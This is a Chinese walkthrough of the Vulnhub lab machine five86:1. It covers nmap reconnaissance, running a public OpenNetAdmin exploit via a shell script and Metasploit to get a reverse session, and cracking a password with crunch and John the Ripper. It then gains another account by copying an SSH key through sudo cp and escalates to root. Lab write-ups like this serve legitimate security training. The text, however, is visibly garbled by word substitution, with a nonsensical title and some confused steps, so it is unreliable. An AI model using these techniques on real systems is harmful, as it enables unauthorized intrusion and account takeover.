学习网安攻防技能一定离不开靶机的练习。
在网络安全中,靶机是指一个存在漏洞的系统,互联网上所有的网站(系统)都可以说是“靶机”,但是不能直接对未授权的网站(系统)进行测试。
于是就涌现了靶机,欢迎大家前来练习。

本日i春秋分享的是从0到1靶机实战系列之five86:1,本次实验的靶机来自vulnhub,名称为five86:1,难度在中等偏上,适用于企业中从事安全研究职员对kali以及Linux ssh无验证登录等利用的熟习程度。

注:i 春秋公众号旨在为大家供应更多的学习方法与技能技巧,文章仅供学习参考。

php靶机网站源码中级篇丨从0到1靶机实战系列之five861 JavaScript

首先把靶机文件导入到虚拟机中,网络模式设置为NAT,然后利用netdiscover找到靶机的IP。

当然利用nmap也是可以的。

Nmap -A 192./24

可以创造该网段下所有主机和一些基本的信息:

开放了三个端口,分别是22,80和1000(这个1000端口下实在没啥有用的东西,差不多是个幌子)

我们还是访问一下80端口,看看有什么:

直接访问的话首页是空的,查看源代码也看不到任何内容,不过我们刚才用nmap扫这个IP的时候,看到根目录下实在是有一个robots.txt文件的,访问后得到一个目录ona。

这里可以看出搭建了一个opennetadmin做事,提示我们是guest账户上岸。

知道了搭建的做事名称,那么我们可以到exploit-db找一下看看有没有干系已公开的exp。

从exploit-db搜索到了两个可用的exp,一个是metasploit版本的rb文件,另一个是Linux脚本文件。

这两个都是可以利用的,这里我分别列出两种大略的利用方法。

Linux shell 版

首先从exploit-db上复制这个rb文件到本地并保存为exp.sh(名字随意,只要没有中文就行),然后利用chmod +x exp.sh或chmod 755 exp.sh设置权限。

接着运行./exp.sh http://192.168.26.146/ona 得到shell。

metasploit版

kali中内置了一个用于查找exp的工具searchsploit,利用searchsploit opennetadmin搜索到三个可用exp。

这里须要把稳的是,不清楚什么缘故原由,搜索到的.sh文件并不能够直接运行,会报错,只能复制内容到新文件才可以。
从搜索结果可以看到exp的文件路径,在metasploit的exploits文件夹下新建一个文件夹opennetadmin,然后利用:

cp /usr/share/exploitdb/exploits/php/webapps/47772.rb -r /usr/share/metasploit-framework/modules/exploits/opennetadmin/exp.rb

把exp复制到metasploit下,由于metasploit本身没有内置这个exp,以是我们只能利用这种办法把exp添加到metasploit的库中。

接下来启动msfconsole

search opennetadmin搜索我们刚创建的exp文件夹

利用use /exploits/opennetadmin/exp运用该实例,show options查看一下须要设置的参数。

我们只须要设置目标IP rhost以及本地IP lhost即可。

set rhost 192.168.26.146Set lhost 192.168.26.138 (kali的IP)

Run开启exp即可成功建立一个session。

shell进入,看一下id为www-data。

然后搜索一下有哪些文件是当前账户可以查看到的。

find / -type f -user www-data

从搜索结果中看到我们对var/www/html/reports/.htaccess是有权限的,cat查看一下文件内容。

从.htaccess文件得到另一个文件地址。

这里是一个提示,给出了一个用户名Douglas和一个加密后的密码,而且密码是由aefhrt组成的十位字符串。

我们可以利用kali中的crunch工具师长西席成一个密码字典。

crunch 10 10 aefhrt > password.txt

password.txt中便是由aefhrt组成的全部十位字符串。

然后利用John the ripper(jtr)这款工具进行比对测试用户密码。

john —wordlist=password.txt hash.txt

几分钟后我们得到了Douglas的密码fatherrrrr。

有了账号密码,我的第一反应是ssh,试了一下,成功登录douglas。

Sudo -l 看一下当前账号的权限,创造对jen这个用户我们只能利用cp也便是复制功能,对付jen这个用户的文件我们没有任何读的权限,但是请把稳,这里我创造jen实在是许可无密码登录的,也便是说我们可以利用ssh密钥直接登录到这个账号。

但是jen目录下没有.ssh这个文件夹,也没有密钥文件,以是我们须要重新天生并把密钥文件复制到jen用户目录下,而且jen用户对Douglas这个用户文件没有操作权限,以是不能直接复制Douglas的ssh文件,须要把它放到二者都有权限的/tmp临时目录中去。

ssh-keygen -b 2048天生一个ssh密钥

cp .ssh/id_rsa.pub /tmp/authorized_keys

切到tmp文件夹,把文件复制到jen/下

sudo -u jen /bin/cp authorized_keys /home/jen/.ssh/

到这里基本上Douglas的任务就完成啦

我们连接到Jen

刚进来就提示我们有一封新邮件,mail查看一下邮件内容。

这里实在提示的很明显了,便是说moss这个用户的密码被修正为Fire!Fire!了,那我们就直接登录moss。

进入到moss账户,ls -la一下创造个隐蔽文件夹game。

进入后运行upyourgame脚本

看下ID确实是root权限,然后直奔/root/flag.txg,完成寻衅!

总的来说这个靶机还是有一定难度的,尤其是提权那一块,后来跟作者请教了一下,提示“不要想着从jen里获取到东西,要想办法把东西扔到jen文件夹里”这才茅塞顿开,顺利解开题目,非常不错的靶机。